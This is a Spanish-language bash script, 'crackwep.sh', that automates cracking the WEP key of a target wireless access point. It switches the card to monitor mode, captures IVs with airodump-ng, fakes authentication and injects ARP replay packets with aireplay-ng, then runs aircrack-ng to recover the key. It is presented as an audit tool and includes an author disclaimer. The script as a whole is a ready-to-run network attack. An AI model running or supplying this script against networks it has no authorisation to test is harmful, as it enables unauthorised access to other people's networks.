#!/bin/bash

#Script desarrollado integramente por Lomu (Andoni Suarez www.lomunet.org). Este script está bajo licencia GNU/GPL. Es un sencillo script en bash para descifrar el cifrado WEP en redes inalámbricas.


#Comprobar si el user es root

ID=`id | cut -d'(' -f1` 

if [[ $ID != uid=0 ]];then
echo "Esta aplicación debe lanzarse como root"
exit 0
fi

## Comprobamos que se meten todos los parametros
if [[ -n $1 && -n $2 && -n $3 && $4 ]]; then

#Crear una carpeta diferente para cada Red y de esa manera no mezclar los paquetes de output
RUTA=`pwd`/$3/
if [[ -f "$RUTA/output-01.cap" ]]; then
cd $3
else
mkdir $3 ; cd $3
fi

#Comprobar interfaz de red (Se intenta poner un essid porque poniendo solo "iwconfig interfaz" aunque no exista la salida siempre es 0)
iwconfig $4 essid "la" 2> /dev/null
if [[ $? != 0 ]]; then
echo "La interfaz que ha puesto no es wifi"
exit 0
fi

MACLOCAL=`ifconfig $4 | grep HW | cut -d'W' -f2`

# Primero vamos a proceder a bajar la tarjeta para posteriormente ponerla en modo monitor
airmon-ng stop $4  > /dev/null
TCONECTADA=$?
if [[ $TCONECTADA  == 0 ]] ; then
echo "Bajando tarjeta"
else
echo "Compruebe que su tarjeta de red está conectada o que tiene aircrack-ng instalado"
exit 0
fi

# Levantamos la tarjeta en modo monitor
sleep 5 
airmon-ng start $4 6 > /dev/null
MODOMONITOR=$?
if [[ $MODOMONITOR == 0 ]]; then
echo "Modo monitor OK"
else
echo "Su tarjeta no soporta el modo monitor"
exit 0
fi

# La tarjeta ya está en modo monitor, ahora en otra ventana lanzaremos airodump para capturar IVs
sleep 5 
echo "Capturando IVs"
xterm -T capturaIV -geometry 100x50 -e airodump-ng --bssid $1 -c $2 -w output $4 & 

# Realizar falsa autenticación en el AP
echo "Lanzando falsa autenticación contra AP"
sleep 40 
xterm -T "Falsa autenticación" -geometry 100x50 -e aireplay-ng -1 0 -e $3 -a $1 -h $MACLOCAL $4 &

# Empezamos con la injección de paquetes.
echo "Injectando paquetes"
sleep 10 
xterm -T "Injeccion de paquetes" -geometry 100x50 -e aireplay-ng -3 -b $1 -h $MACLOCAL $4 &

# Lanzamos aircrack para tratar de obtener la clave WEP
echo "En 3 minutos se lanzará el proceso para tratar de obtener la clave WEP"
sleep 180 
xterm -T "Recuperando WEP" -geometry 100x50 -e aircrack-ng -z -b $1 output*.cap

else
do_help= do_version=

while [ $# -gt 0 ]; do
        case "$1" in
        --help)         shift ; do_help=y ;;
        *)              break ;;
        esac
done

if [ -n "$do_help" ]; then
        cat << HERE_EOF
Crackwep es un script que automatiza tareas para realizar una auditoría a redes protegidas con cifrado WEP. El modo correcto de utilizarlo es el siguiente:

./crackwep.sh MacAP Canal NombreEssid InterfazWifi
MacAP: Dirección MAC del punto de acceso
Canal: Canal en el que está el punto de acceso
NombreEssid: El Nombre (Essid) del punto de acceso
InterfazWifi: Interfaz de red inalámbrica desde la que realizaremos las pruebas (ra0, wlan0...)

La mayoría de estos datos pueden conseguirse ejecutando el comando "iwlist interfaz scan". El autor no se responsabiliza del uso que den los usuarios a esta herramienta.
HERE_EOF
        exit 0
fi



echo "Usar: ./crackwep.sh --help o MacAP Canal NombreEssid InterfazWifi"
exit 0
fi



